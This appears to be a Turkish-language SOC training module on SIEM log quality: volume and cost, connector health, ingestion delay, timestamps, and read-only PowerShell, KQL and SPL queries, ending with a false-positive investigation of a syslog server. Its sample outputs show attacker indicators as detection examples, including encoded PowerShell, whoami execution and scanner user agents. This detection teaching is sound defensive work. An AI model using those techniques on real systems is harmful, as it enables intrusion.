
7.2 Log Hacmi ve Maliyet İlişkisini Yönetme

Cloud tabanlı SIEM platformlarının büyük bölümü GB/gün veya event/gün bazında lisanslama yapar. Gereksiz logların kapsamda tutulması hem SIEM faturasını şişirir hem de analist dikkatini boşa harcatan gürültü üretir.

Bu nedenle her log kaynağı için şu soru düzenli olarak sorulmalıdır: “Bu kaynak son 30 günde kaç event üretti, kaç alarm üretti ve kaç gerçek pozitif ile sonuçlandı?” Yüksek hacim üretip sıfır alarm üreten bir kaynak ya yanlış yapılandırılmıştır, ya gereksiz veriler toplamaktadır ya da var olan detection kuralları bu kaynağı kullanmamaktadır. Her üç durumda da analiz ve tuning gereklidir.

7.3 Gürültülü Veri Kaynaklarını Değerlendirme

Bazı log kaynakları yapısal olarak yüksek hacimde event üretir: yoğun trafikli web sunucuları, DNS logları, verbose firewall yapılandırmaları ve bazı EDR telemetri stream’leri bu kategoriye girer.

Gürültülü kaynak değerlendirmesinde şu yaklaşım uygulanır: Önce kaynak filtreleme yapılabilir mi? Sonra sampling uygulanabilir mi? Ancak bu karar verirken hangi detection use case’inin bu kaynağa ihtiyaç duyduğu tekrar gözden geçirilmeli; filtrelemenin detection boşluğu yaratmaması sağlanmalıdır.

Örneğin web sunucu loglarında hacim azaltma yapılacaksa yalnızca 4xx ve 5xx status kodlarını almak çoğu zaman risklidir. Başarılı exploitation, credential stuffing sonrası başarılı login, web shell erişimi, veri çekme, C2 callback veya yetkili oturum kötüye kullanımı 2xx status kodlarıyla görünebilir. Daha güvenli yaklaşım; statik içerik istekleri, sağlık kontrol endpoint’leri veya bilinen benign path’ler gibi düşük değerli alanları azaltmak; buna karşılık login, admin, upload, API, yüksek request/response boyutu, POST/PUT/DELETE, authentication ve hassas path aktivitelerini korumaktır.

7.4 Connector Health ile Log Akışını İzleme

Connector health, log kaynaklarının SIEM’e düzenli ve eksiksiz veri gönderip göndermediğini izleyen bir operasyonel disiplindir. Bir log kaynağının SIEM’e veri akışı durduğunda, o kaynağı baz alan detection kuralları sessizleşir; alarm gelmez ama bu, olay olmadığından değil verinin gelmediğinden kaynaklanıyor olabilir.

Connector health kontrolünde şu göstergeler izlenir: son event’in geldiği zaman (last_seen), saatlik/günlük event hacmi (ani düşüş var mı?), parse failure oranı (artış var mı?), agent durumu (online/offline) ve forwarder log kuyruğu doluluk oranı.

Dikkat: Bir log kaynağının sessizleşmesi her zaman hemen fark edilmez. Düşük alarm ortamında kaynak kesilmesi “sakin bir gün” olarak yorumlanabilir. Bu nedenle connector health izleme pasif bir bekleme değil aktif bir kontrol olmalıdır; düzenli alert veya dashboard ile otomatik olarak izlenmelidir.

7.5 Ingestion Delay ile Geciken Log Problemini Anlama

Ingestion delay, bir olayın gerçekleşmesi ile SIEM’e yazılması arasında geçen süredir. Normal koşullarda bu süre saniyeler ile birkaç dakika arasında olmalıdır. Gecikme uzadığında ciddi operasyonel etkiler doğar.

Detection perspektifinden: Eğer bir alarm kuralı “son 5 dakikada X davranışı gördüysek alarm üret” mantığıyla çalışıyorsa ama loglar 20 dakika gecikmeli geliyorsa, olay gerçekleştikten 20 dakika sonra alarm üretilir. Bu, MTTD’yi yapay olarak artırır; gerçekte tespit gecikmesinin teknik nedeni veri gecikmesidir, detection kuralı değil.

Investigation perspektifinden: Timeline analizi sırasında farklı kaynaklardan gelen event’lerin timestamp’leri uyumsuzsa (biri olay anını, diğeri ingestion zamanını gösteriyorsa) zaman çizelgesi bozulur ve analist olayların sırasını yanlış yorumlar.

7.6 Timezone ve Timestamp Problemlerini Yönetme

Birden fazla sistemden log toplayan her SOC ortamı potansiyel olarak timezone problemiyle karşılaşır. Bir sistemin UTC+3 ile gösterilen event’i, başka bir sistemin UTC ile gösterilen event’iyle birleştirildiğinde aralarında görünen zaman farkı gerçekte timezone farkından kaynaklanabilir. Analist bu farka dayanarak olayların sırasını yanlış belirleyebilir.

Çözüm, tüm logların SIEM’de ortak bir zaman standardına göre işlenmesidir. Çoğu ortamda bu standart UTC’dir. Bu dönüşümün parsing veya ingest aşamasında doğru yapılması gerekir. Windows Event Logs ham/XML düzeyde UTC timestamp taşıyabilir; Event Viewer görüntüleme sırasında bunu yerel saate çevirebilir. SIEM’e aktarımda sorun genellikle kaynağın zaman bilgisinin yanlış yorumlanması, forwarder’ın timezone bilgisini hatalı ele alması veya parser/ingest pipeline’ın UTC-local dönüşümünü yanlış yapmasından kaynaklanır.

Analist Yorumu: Timestamp problemi fark edilmesi en zor veri kalitesi sorunlarından biridir. Analist iki logu yan yana koyar, biri diğerinden 3 saat geride görünür; varsayım şüpheli bir gecikme olduğu yönünde olabilir. Oysa sebebin timezone kaynaklı olduğunu anlamak için log kaynağının zaman ayarını, forwarder davranışını ve SIEM parsing ayarını kontrol etmek gerekir. Her yeni log kaynağı devreye alındığında timestamp alanının doğru parse edildiğini ve ortak zaman standardına dönüştürüldüğünü doğrulamak standart bir kabul testi adımı olmalıdır.

Komut & Araç Okuryazarlığı

Bu modülün doğası gereği araç okuryazarlığı bölümü; log okuma, field extraction doğrulama, normalizasyon kontrolü ve enrichment değerlendirmesi üzerine yoğunlaşır.

Windows Event Log’unda Process Creation Kaydını Okuma

Komut:

                Get-WinEvent -LogName Security -FilterXPath "*[System[EventID=4688]]" -MaxEvents 20 |
                Select-Object TimeCreated, @{n='ProcessName';e={$_.Properties[5].Value}},
                @{n='CommandLine';e={$_.Properties[8].Value}},
                @{n='ParentProcess';e={$_.Properties[13].Value}},
                @{n='User';e={$_.Properties[1].Value}}

Platform: Windows PowerShell — yerel sistem veya izinli test ortamı

Not: Bu örnekteki $_.Properties[n] indeksleri eğitim amaçlıdır. Üretim ortamlarında Windows event versiyonu, collector, parser veya SIEM veri modeli nedeniyle alan sıralaması değişebilir. Daha güvenilir analiz için XML içindeki Data Name alanları veya SIEM’in normalize edilmiş field isimleri kullanılmalıdır.

Amaç: Güvenlik günlüğündeki süreç oluşturma olaylarını (ID 4688) sorgulayarak; çalıştırılan uygulamanın tam yolunu, varsa komut satırı parametrelerini, ebeveyn süreci ve kullanıcı bağlamını raporlar.

Beklenen çıktı:

Windows PowerShell - Process Creation Forensic Audit (ID 4688)

PS C:\Windows\system32> Get-WinEvent -LogName Security -FilterXPath "*[System[EventID=4688]]" -MaxEvents 20 | ... TimeCreated ProcessName CommandLine User ----------- ----------- ----------- ---- 2026-05-12 14:10:05 C:\Windows\..\cmd.exe "cmd.exe" /c "whoami" EMRE-PC\Emre 2026-05-12 14:12:30 powershell.exe powershell.exe -enc SQBFAF... SYSTEM 2026-05-12 14:15:12 C:\Windows\..\calc.exe "calc.exe" EMRE-PC\Emre # Güvenlik Analizi: "CommandLine" alanındaki "-enc" (Encoded) parametreleri her zaman şüphelidir. Saldırganlar komutlarını gizlemek için Base64 kodlaması kullanırlar. Bu içerik mutlaka decode edilmelidir. # Kritik Kontrol: "ParentProcess" (Ebeveyn Süreç) takibi yapın. Örneğin, "w3wp.exe" (IIS) veya "winword.exe" (Word) tarafından başlatılan bir "cmd.exe" veya "powershell.exe", tipik bir sızma emaresidir. # Teknik Not: Komut satırı (CommandLine) bilgisinin bu logda görünmesi için Grup İlkesi (GPO) üzerinden "Include command line in process creation events" ayarının etkinleştirilmiş olması gerekir.

CommandLine sütununa: encoded string, uzak path veya obfuscation var mı?

ParentProcess sütununa: process zinciri mantıklı mı? Örneğin winword.exe → cmd.exe şüpheli olabilir.

User sütununa: servis hesabı mı, normal kullanıcı mı, SYSTEM mi?

Normal durum:
explorer.exe → chrome.exe veya teams.exe gibi beklenen process chain’ler, normal kullanıcı hesabı, standart argümanlar.

Şüpheli durum:
winword.exe → cmd.exe → powershell.exe zinciri;
powershell -encodedCommand <base64 string>;
svchost.exe → wscript.exe gibi alışılmadık kombinasyonlar.

Yanlış yapılandırma / veri kalitesi problemi:
CommandLine sütunu boş geliyorsa “Include command line in process creation events” Group Policy ayarı etkin olmayabilir. Bu kritik bir görünürlük kaybıdır.

Yorum:
Bu sorgu sisteme herhangi bir agent veya araç kurmadan doğrudan Windows log altyapısından okuma yapar. Ancak Event ID 4688’in ve command line logging’in aktif olması şarttır. Sysmon kurulu ortamlarda Event ID 1 daha zengin veri sağlar.

Dikkat: Yalnızca izinli ortamda, yalnızca okuma amaçlı çalıştırılır. Komut sisteme yazma yapmaz, process başlatmaz veya ağ bağlantısı açmaz.

SIEM Üzerinde KQL ile Agent Sağlık Kontrolü (Microsoft Sentinel)

Komut:

                        Heartbeat
                        | where TimeGenerated > ago(24h)
                        | summarize LastHeartbeat = max(TimeGenerated), Count = count() by Computer, Category
                        | where LastHeartbeat < ago(2h)
                        | order by LastHeartbeat asc

Platform: Microsoft Sentinel — KQL sorgusu, Log Analytics workspace

Amaç: Sentinel'e veri gönderen agent'ların (Heartbeat tablosu üzerinden) sürekliliğini denetler. Son 24 saatte aktif olan ancak son 2 saattir "hayat belirtisi" göstermeyen cihazları listeleyerek veri körlüğünü engeller.

Beklenen çıktı:

Microsoft Sentinel - Logs - Query Editor

// Agent Sağlık Kontrolü: Sessizleşen Sistemleri Tespit Et Heartbeat | where TimeGenerated > ago(24h) | summarize LastHeartbeat = max(TimeGenerated), Count = count() by Computer, Category | where LastHeartbeat < ago(2h) | order by LastHeartbeat asc --- Query Results --- Computer Category LastHeartbeat Count -------- -------- ------------- ----- WEB-SERVER-01 Direct Agent 2026-05-12 11:30:05 142 APP-PROD-SQL Azure Monitor 2026-05-12 13:15:22 890 SEC-GW-CENTRAL Direct Agent 2026-05-12 13:30:10 54 # Güvenlik Analizi: Bir sunucunun "Heartbeat" göndermeyi aniden kesmesi, sistemin kapandığını, ağ bağlantısının koptuğunu veya bir saldırganın izlerini gizlemek için agent servisini durdurduğunu işaret edebilir. # Kritik Uyarı: WEB-SERVER-01 gibi kritik bir sistem 4 saattir sessizse (LastHeartbeat < ago(2h)), bu bir "Incident" (Olay) olarak değerlendirilmeli ve sistemin erişilebilirliği anında kontrol edilmelidir. # Teknik Not: "Category" sütunu, sorunun kaynağını bulmanıza yardımcı olur. "Direct Agent" sorunları genellikle VM içindeki servisle ilgiliyken, "Azure Monitor" sorunları altyapısal bir bağlantı problemine işaret edebilir.

Computer sütununa: hangi kritik sistemler listede var?

Category sütununa: hangi log kaynağı türü etkileniyor?

LastHeartbeat sütununa: ne kadar süredir sessiz?

Normal durum:
Tüm kritik sistemlerin son 15 dakika içinde heartbeat göndermiş olması beklenir.

Şüpheli durum:
DC-TEST01 gibi kritik bir sistemin 6 saattir heartbeat göndermemesi ciddi bir agent, bağlantı veya sistem erişilebilirliği problemine işaret edebilir.

Yanlış yapılandırma / veri kalitesi problemi:
Bazı sistemler listede hiç görünmüyorsa heartbeat agent’ı hiç kurulmamış olabilir. Kategori yanlışsa monitoring scope tanımlanmamış olabilir.

Yorum:
Bu sorgu agent/VM heartbeat durumunu izlemek için kullanılır. Ancak Microsoft Sentinel’de tüm data connector health durumunu tek başına temsil etmez. Data connector health için SentinelHealth tablosu, Sentinel Health Monitoring workbook ve connector özel hata kayıtları da izlenmelidir. Sessiz olan bir kaynaktan alarm gelmemesi, tehdit yokluğu değil veri yokluğu anlamına gelebilir.

Splunk’ta Field Extraction Doğrulama (SPL)

Komut:

                        index=firewall_logs sourcetype=fw_edge_log
                        | head 100
                        | table _time, src_ip, dst_ip, src_port, dst_port, action, bytes_out
                        | eval missing_fields = if(isnull(src_ip) OR isnull(action), "EKSIK", "TAMAM")
                        | stats count by missing_fields

Platform : Splunk — SPL sorgusu, Search & Reporting

Amaç: Belirli bir log kaynağından gelen verilerin Splunk üzerindeki alan eşleşmelerini (field extraction) denetler. Kritik alanların boş gelip gelmediğini istatistiksel olarak raporlayarak parsing hatalarını erkenden yakalar.

Beklenen çıktı:

Splunk Enterprise - Search & Reporting

// Alan Çıkarımı (Parsing) Doğrulama Sorgusu index=firewall_logs sourcetype=fw_edge_log | head 100 | table _time, src_ip, dst_ip, src_port, dst_port, action, bytes_out | eval missing_fields = if(isnull(src_ip) OR isnull(action), "EKSIK", "TAMAM") | stats count by missing_fields --- Statistics --- missing_fields count -------------- ----- TAMAM 92 EKSIK 8 # Güvenlik Analizi: Eğer "EKSIK" satırı 0'dan büyükse, kritik güvenlik alanları parse edilemiyor demektir. Bu durum, firewall kurallarındaki bir değişikliğin log formatını bozmasından kaynaklanabilir. # Kritik Uyarı: "src_ip" alanı boş gelen bir firewall logu, saldırganın kaynağını belirleyemeyeceğiniz anlamına gelir. Bu, SIEM alarmlarının sessiz kalmasına yol açan ciddi bir veri bütünlüğü sorunudur. # Teknik İpucu: Eksik olan 8 event'i incelemek için sorgunun sonuna "| where missing_fields="EKSIK"" ekleyerek ham verideki (raw) format değişikliğini bizzat gözlemleyebilirsiniz.

missing_fields sütununa: EKSIK değer varsa hangi event’lerde?

_time sütununa: parse hatası belirli bir zaman aralığında mı yoğunlaşıyor?

Belirli zamanda yoğunlaşma, o dönemde log format değişikliğine işaret edebilir.

Normal durum:
Tüm kritik alanlarda değer dolu, missing_fields sütunu tamamen “TAMAM”.

Şüpheli durum:
src_ip alanı null gelen event’ler: firewall log formatı değişmiş olabilir, parsing kuralı (props.conf / transforms.conf) güncellenmesi gerekebilir.

Yanlış yapılandırma / veri kalitesi problemi:
Tüm alanlar null ise sourcetype yanlış atanmış ya da log kaynağına özel extraction uygulanmamış olabilir. Bu durumda raw event incelenip uygun field extraction kuralı yazılmalıdır.

Yorum:
Bu sorgu yeni log kaynağı devreye alımında ve rutin veri sağlığı kontrolünde kullanılır. Parsing sağlıklıysa detection kuralları bu kaynaktan güvenilir alarm üretir.

Örnek: Proxy Loglarında User-Agent Anomalisi Araştırması (SPL)

Komut:

                        index=proxy_logs sourcetype=proxy_access
                        | stats count by user_agent
                        | sort - count
                        | where count < 5
                        | table user_agent, count

Platform : Splunk — SPL sorgusu

Amaç: Proxy erişim kayıtlarını istatistiksel olarak analiz eder. Binlerce standart istek arasından frekansı 5'in altında olan benzersiz User-Agent imzalarını bularak, otomatize saldırı araçlarını ve zararlı yazılım iletişimlerini raporlar.

Beklenen çıktı:

Splunk Enterprise - Threat Hunting - Proxy UA Audit

// User-Agent Anomali Tespiti: Nadir Görülen İmzaları Yakala index=proxy_logs sourcetype=proxy_access | stats count by user_agent | sort - count | where count < 5 | table user_agent, count --- Rare UA Results --- user_agent count ---------------------------------------------------- ----- Mozilla/5.0 (compatible; Nmap Scripting Engine) 1 Python-urllib/3.8 2 powershell.exe/5.1.19041.1 3 Wget/1.20.3 (linux-gnu) 1 # Güvenlik Analizi: "Nmap", "Python" veya "Wget" gibi değerlerin proxy loglarında nadiren görülmesi, bir sızma testi veya saldırganın ağda keşif (Reconnaissance) yaptığının güçlü bir göstergesidir. # Kritik Uyarı: Standart kullanıcı bilgisayarlarından dışarıya çıkan "powershell.exe" User-Agent'ı, bir scriptin dosya indirmeye veya komut komuta merkezi (C2) ile iletişime geçmeye çalıştığını işaret eder. # Teknik İpucu: Bu nadir UA'ları kimin kullandığını bulmak için sorguyu "| stats count by user_agent, src_ip" şeklinde genişleterek şüpheli istemciyi (Client) doğrudan tespit edebilirsiniz.

user_agent değerinin içeriğine: python, curl, wget, go-http, libwww-perl gibi script/araç imzaları standart tarayıcı davranışından ayrılır.

Beklenmedik tarayıcı versiyonlarına: çok eski veya yapay görünen değerler.

Normal durum:
Geniş ölçekte görülen user-agent değerleri genellikle kurumda kullanılan tarayıcılara aittir (Chrome/xx, Firefox/xx, Edge/xx).

Şüpheli durum:
python-requests/2.28.0 gibi bir değer az sayıda event’te görünüyor ve kaynak IP normal kullanıcı network’ünden geliyor. Bu bir C2 ajanı, test script’i, DevOps otomasyonu veya saldırı aracı olabilir. Karar vermeden önce kullanıcı rolü, kaynak host, hedef domain, zamanlama ve EDR bağlamı kontrol edilmelidir.

Yanlış yapılandırma / veri kalitesi problemi:
user_agent alanı null veya “-” ise proxy log formatında bu alan toplanmıyor olabilir. Bu eksiklik web tabanlı saldırı tespitinde ciddi kör nokta oluşturur.

Yorum:
Nadirlik tabanlı bu sorgu threat hunting mantığıyla çalışır; belirli bir IOC aramaz, anormal olabilecek davranışları bulur ve analistin değerlendirmesine sunar.

Uygulama / Kontrol Listesi

Telemetri, Log Yönetimi, Parsing ve Normalizasyon Kontrol Listesi

Bu kontrol listesi, SOC analistinin belirli bir log kaynağı veya alarm üzerinde “bu veriye güvenebilir miyim?” sorusunu yanıtlamasını ve veri kalitesi problemlerini operasyonel karardan önce fark etmesini sağlar.

Hazırlık

İncelenecek log kaynağının adı, SIEM’deki index/tablo adı ve sourcetype/data stream bilgisi not alınır.

Bu log kaynağının hangi detection use case’leri için kritik olduğu belirlenir. Örneğin auth log → password spray detection.

Kritik alanların listesi çıkarılır: Bu use case için hangi alanların dolu olması şarttır?

Kontrol Adımları

Connector Health Kontrolü

Son 1 saatte bu kaynaktan SIEM’e event geldi mi? Sentinel için ilgili tablo, Heartbeat, SentinelHealth veya connector özel sorguları; Splunk için index üzerinde son event zamanı kontrol edilir.

Son 24 saatin saatlik event hacmi normal mi? Ani düşüş var mı?

Parse failure oranı normalin üzerinde mi? Elastic için _grokparsefailure, ingest pipeline failure veya özel failure alanları; Splunk için isnull(kritik_alan) mantığı kontrol edilir.

Field Extraction Kontrolü

Kritik alanlar dolu mu? src_ip, dst_ip, username, action, timestamp gibi alanlar null mı?

Timestamp ortak zaman standardına çevrilmiş mi? Sistem saatiyle ve SIEM’deki event zamanı ile karşılaştırarak doğrulanabilir.

Action veya status alanı tutarlı değerler mi içeriyor? Örneğin ALLOW/DENY veya 200/403/500 gibi beklenen değerler mi görünüyor?

Normalizasyon Kontrolü

Bu log kaynağında IP alanı src_ip mi, source_address mı yoksa client_ip mi? SIEM’in ortak şemasıyla uyumlu mu?

Kullanıcı alanı username mı, user mı, account_name mi? Diğer kaynaklarla join sorgusunda hangi alan kullanılacak?

Enrichment Kontrolü

Asset enrichment çalışıyor mu? Alarm içinde asset_owner, asset_criticality gibi alanlar dolu mu?

User enrichment çalışıyor mu? user_department, user_role, is_privileged alanları mevcut mu?

Reputation enrichment tetiklendi mi? IP veya domain için ip_reputation, domain_reputation alanları var mı?

Doğrulama

Test amaçlı bir event seçilir; tüm kritik alanlar manuel olarak doğrulanır.

Timestamp doğrulanır: Sistemin yerel saati ile SIEM’deki event zamanı ortak zaman standardında uyumlu mu?

Detection kuralının bu kaynağı kullandığından emin olunur: Kural son 7 günde alarm ürettiyse kaynak sağlıklı olabilir; hiç alarm üretmediyse görünürlük boşluğu mu yoksa gerçekten olay yok mu araştırılır.

Kanıt Notu

Her kontrol adımının sonucu vaka veya operasyon notuna şu formatta yazılır:

Bulgu: [Log kaynağı adı] kaynaklı event’lerde [alan adı] alanı son 6 saattir null geliyor.
Etki: Bu alan [use case adı] detection kuralı tarafından sorgulanmaktadır; alan eksikliği durumunda kural ateşlenmez.
Öneri: [Log kaynağı] parsing konfigürasyonu gözden geçirilmeli, [alan adı] extraction kuralı güncellenmelidir.
Kanıt: SIEM’de index=x | stats count(alan) by isnull(alan) sorgusunun ekran görüntüsü eklendi.

Geri Dönüş / Dikkat Edilmesi Gerekenler

Connector sağlıksızsa o kaynağa dayalı tüm detection kurallarının geçici olarak güvenilmez sayılması ve SOC Lead’e bildirilmesi gerekir.

Parsing hatası varsa tespit kurallarında false negative riski doğduğu raporlanmalıdır; IT veya log yönetimi ekibiyle koordineli biçimde düzeltilmelidir.

Enrichment çalışmıyorsa triaj süresinin uzayacağı kabul edilerek analist yükü buna göre yönetilmelidir.

Timestamp problemi fark edilirse o kaynağa dayalı timeline analizi güvenilmez sayılmalı ve problem giderilene kadar zaman sıralaması dikkatli yorumlanmalıdır.

Operasyonel Senaryo

Senaryo:“Alarm Geliyor Ama Investigation Mümkün Değil”

Belirti

SOC ekibi saat 14:22’de SIEM üzerinde bir alarm alır: FW-EDGE01 firewall loglarından beslenen bir korelasyon kuralı ateşlenmiştir. Kural, 192.0.2.10 kaynak IP’sinden son 10 dakikada 50’den fazla farklı dst_port hedefine action=ALLOW trafik gitmesini port tarama davranışı olarak işaretlemiştir. Alarm severity’si medium olarak atanmıştır.

İlk Düşünce

L1 analist alarmı görür ve “iç bir IP birden fazla porta bağlantı deniyor, bu bir tarama davranışı veya worm aktivitesi olabilir” diye düşünür. Ancak investigation’a geçmeden önce veri kalitesini kontrol etmeye karar verir.

Kontrol Edilecek Noktalar

Bu alarm hangi log kaynağından besleniyor? Firewall logu mu, Sysmon mu, başka bir kaynak mı?
192.0.2.10 IP adresi hangi sisteme ait?
Bağlantı kurulan dst_port dağılımı ne görünüyor?
Bu sistemden son 1 saatte başka alarm var mı?
Veri kalitesi: src_ip, dst_port ve action alanları doğru parse ediliyor mu?

Kullanılacak Log / Telemetri Kaynakları

FW-EDGE01 firewall logları (birincil kaynak)
Asset enrichment (192.0.2.10 sistemi kimdir?)
EDR logları (SRV-LOG01 veya DESKTOP-TEST01 gibi host varsa; endpoint davranışı nasıl?)
Windows Security logları (o sistemde anormal process var mı?)
SIEM alarm geçmişi (aynı sistem veya IP için başka alarm var mı?)

Bakılacak Alanlar

src_ip: 192.0.2.10 — normalize edilmiş mi, asset ile eşleşiyor mu?
dst_ip ve dst_port — hangi sistemlere, hangi portlara bağlantı kurulmuş?
action — ALLOW mu DENY mi? Hangi oran?
bytes_out — bağlantı başına ne kadar veri aktarılmış? Sıfır veya çok düşük ise başarısız bağlantı girişimi olabilir; ancak alanın vendor’a göre ne anlama geldiği doğrulanmalıdır.
timestamp — event’ler tutarlı zaman damgası taşıyor mu?
rule_name — hangi firewall kuralı bu trafiğe izin vermiş?

SIEM Investigation - Port Scan Alert Audit [SRV-LOG01]

SOC@SIEM:~$ stats count by dst_port where src_ip="192.0.2.10" and time > now-15m dst_port count action avg(bytes_out) 514 12 ALLOW 0 601 8 ALLOW 0 6514 15 ALLOW 0 1514 10 ALLOW 0 2514 5 ALLOW 0

SOC@SIEM:~$ # Asset Enrichment & EDR Process Check SOC@SIEM:~$ lookup asset_db ip="192.0.2.10" | select hostname, owner, function hostname: SRV-LOG01 owner: IT Operations function: Log Aggregation / Syslog Server SOC@SIEM:~$ edr_query --host "SRV-LOG01" --proc_tree \_ /usr/sbin/rsyslogd -n \_ /opt/syslog-agent/bin/agent --config /etc/log_collector.conf

# --- INVESTIGATION & TUNING NOTES --- # [!] Bulgusu: 192.0.2.10 (SRV-LOG01) bir log toplama sunucusudur. # [!] Analiz: Tarama olarak algılanan portlar (514, 601, 1514, 6514) standart syslog portlarıdır. # [!] Veri Kalitesi: bytes_out=0 olması, hedef sistemlerin bir kısmının kapalı olduğunu veya # FW'nin bu alanı tek yönlü (sadece giden paket) olarak parse ettiğini gösterir. Karar: FALSE POSITIVE - Benign Expected Activity Aksiyon: SRV-LOG01 kuraldan muaf tutulmalı (Allowlist). İnceleyen: L2 Security Analyst

Amaç: Bir firewall alarmını Asset Enrichment (Varlık Zenginleştirme) ve EDR süreç analizi ile birleştirerek, meşru bir altyapı faaliyetinin (Syslog toplama) yanlış pozitif (False Positive) olarak işaretlenmesini önler.

Toplanacak Kanıt

SIEM sorgusu çıktısı: son 15 dakikada src_ip=192.0.2.10 kaynaklı tüm firewall event’leri, gruplandırılmış dst_port sayısı ile ekran görüntüsü.
Asset enrichment sonucu: 192.0.2.10 sisteminin adı, sahibi, kritikliği ve işlevi.
EDR veya Sysmon process tree: bu IP’nin bağlı olduğu sistemde son 30 dakikada hangi process’ler çalışmış?

Analiz

Analist SIEM’de şunu görür: 192.0.2.10 adresine ait firewall event’leri incelendiğinde src_ip alanının tüm event’lerde dolu olduğu, dst_port değerlerinin geniş bir aralıkta dağıldığı ve action=ALLOW ile bytes_out=0 kombinasyonunun yoğun olduğu dikkat çeker.

bytes_out=0 kritik bir veri noktasıdır; ancak tek başına karar verdiren bir alan değildir. Bu değer, bağlantının kurulmaya çalışıldığını ama veri aktarımının gerçekleşmediğini gösterebilir. Bunun birkaç nedeni olabilir: hedef port kapalı olabilir, bağlantı üst katmanda başarısız olmuş olabilir, firewall’un alan anlamı vendor’a göre farklı olabilir veya log formatı bu değeri farklı yönde hesaplıyor olabilir.

Asset enrichment sorgulanır: 192.0.2.10 → SRV-LOG01, IT Operations departmanı, low criticality, internal. Bu sistem bir log aggregation sunucusudur.

Analist EDR loglarına geçer: SRV-LOG01 üzerinde bu dönemde scheduler, rsyslog daemon ve syslog agent process’leri çalışmaktadır. Beklenmedik process yoktur.

Analist SIEM’de SRV-LOG01 üzerindeki ağ aktivitesini inceler: Sistem, periyodik olarak çok sayıda farklı porta erişmeye çalışmaktadır. Bu davranış ilk bakışta anormal görünür; ancak pattern incelendiğinde portların rastgele değil, log toplama altyapısıyla ilişkili belirli portlara yöneldiği görülür: 514/UDP, 601/TCP, 6514/TCP veya kurumun özel olarak kullandığı 1514 gibi alternatif syslog portları. 515 syslog portu olarak değerlendirilmez.

False Positive İhtimali

Yüksek. SRV-LOG01 bir log aggregation sistemidir ve muhtemelen ağdaki çok sayıda sunucudan log toplamak için farklı portlara periyodik bağlantı deniyor. Hedef sistemlerin bir kısmı kapalı olduğundan bağlantı başarısız olmakta ve bu bytes_out=0 olarak görünüyor olabilir. Firewall korelasyon kuralı bu meşru davranışı port tarama olarak yanlış yorumlamıştır.

Kontrol:

dst_port değerleri syslog ve log toplama altyapısıyla ilişkili portlarla örtüşüyor mu?
Diğer sistemlere bağlantı başarılı mı?
Log toplama konfigürasyonuyla uyumlu mu?
bytes_out alanının anlamı ilgili firewall ürününde hangi yönü temsil ediyor?

Escalation Gerekir mi?

Hayır. Bu alarm yüksek ihtimalle false positive’dir. Ancak iki adım atılmadan kapanmaz:

1. SRV-LOG01 sistem sahibiyle (IT Operations) teyit alınır: Bu sistem gerçekten çok sayıda sunucuya log bağlantısı kuruyor mu?
2. Detection kuralı gözden geçirilmek üzere engineering listesine eklenir; SRV-LOG01 gibi log aggregation sistemlerinin bu kuraldan muaf tutulması (allowlist) değerlendirilmelidir.

Karar

Alarm, beklenen log aggregation davranışının port tarama kuralını tetiklemesi nedeniyle false positive / benign expected activity olarak sınıflandırılır. Kapanış nedeni “planned behavior - logging infrastructure” şeklinde belirtilir ve detection tuning talebi açılır.

Bulgu → Etki → Öneri → Kanıt

Bulgu:
192.0.2.10 (SRV-LOG01) kaynaklı, log toplama altyapısıyla ilişkili portlara yönelik çok sayıda outbound bağlantı girişimi mevcut port tarama detection kuralını tetiklemiştir. Bağlantıların önemli bölümünde bytes_out=0 görülmektedir; ancak bu alan tek başına benign/zararlı kararını vermek için yeterli değildir.

Etki:
Alarm gerçek bir saldırı değil, log aggregation altyapısının periyodik bağlantı denemelerini yansıtıyor olabilir. Gerçek bir güvenlik riski tespit edilmemiştir. Ancak kural bu şekilde kalmaya devam ederse SRV-LOG01’den her gün çok sayıda false positive üretilecek ve analist dikkati bölünecektir.

Öneri:
Port tarama detection kuralı yalnızca bytes_out > 0 koşuluna bağlanarak güçlendirilmemelidir; bu yaklaşım gerçek tarama, başarısız C2 bağlantısı, blocked/half-open bağlantı veya başarısız lateral movement denemelerini kaçırabilir. Bunun yerine asset role, known scanner/log collector allowlist, destination count, port entropy, destination subnet çeşitliliği, connection result, direction ve zaman penceresi birlikte değerlendirilmelidir. SRV-LOG01 veya log aggregation sistemlerinin IP bloğu için allowlist eklenmesi değerlendirilmeli; detection tuning talebi engineering backlog’una girilmelidir.

Kanıt:
SIEM sorgu çıktısı (src_ip=192.0.2.10, last 15 min, dst_port distribution, bytes_out=0 oranı) vaka kaydına eklenmiştir. IT Operations teyidi vaka notuna işlenmiştir.
[Tarih/Saat | analyst01]

Terimler Sözlüğü

Terim	Türkçe Karşılığı / Teknik Açıklama
Telemetri	Log, metrik, trace ve event gibi sistem/ağ bileşenlerinden toplanan tüm gözlem verilerini kapsayan üst kavram.
Log	Sistem olaylarının zaman damgalı kaydıdır; dosya, API veya agent üzerinden iletilebilir.
Görünürlük Problemi	SOC ekiplerinin veri eksikliği nedeniyle belirli bir saldırı vektörünü görememesi durumu (Blind Spot).
Parsing & Field Extraction	Ham log verisinin anlamlı ve sorgulanabilir alanlara (IP, Kullanıcı vb.) ayrıştırılması işlemi.
Normalizasyon	Farklı kaynaklardan gelen verilerin (örn: CheckPoint ve Fortigate) ortak bir standartta birleştirilmesi.
Enrichment (Zenginleştirme)	Loglara dış kaynaklardan Asset, User, GeoIP, ASN veya Reputation gibi bağlamsal bilgilerin eklenmesi.
CIM (Splunk) / ECS (Elastic)	Sırasıyla Splunk ve Elastic ekosistemleri için tanımlanmış ortak veri modeli standartları.
Grok	Özellikle Elastic tarafında kullanılan, karmaşık logları ayrıştırmak için özelleştirilmiş Regex pattern yapısı.
Connector Health & Ingestion Delay	Log toplama sistemlerinin sağlığı ve verinin oluşması ile SIEM'e ulaşması arasındaki gecikme süresi.
Timestamp Problemi	Farklı cihazların farklı zaman dilimi (UTC/Yerel) veya format kullanmasından kaynaklanan senkronizasyon hatası.
Log Retention	Logların yasal veya operasyonel nedenlerle saklanma süresi politikası (Hot/Cold Storage).
Detection Gap	Veri eksikliği veya kural yetersizliği nedeniyle oluşan "tespit edilemeyen saldırı" boşluğu.
Use Case	Belirli bir tehdidi (örn: Brute Force) tespit etmek için tasarlanmış veri, kural ve analiz bütünü.
Risk Bazlı Log Toplama	Veri toplama önceliğinin sistemin kritikliği ve saldırı yüzeyine göre belirlenmesi yaklaşımı.
Auditd & Sysmon	Sırasıyla Linux ve Windows için derinlemesine sistem ve süreç telemetrisi sağlayan denetim araçları.
Parse Failure	Logun yapılandırılamaması durumu; Elastic'te `_grokparsefailure`, Splunk'ta eksik alanlar olarak görülür.
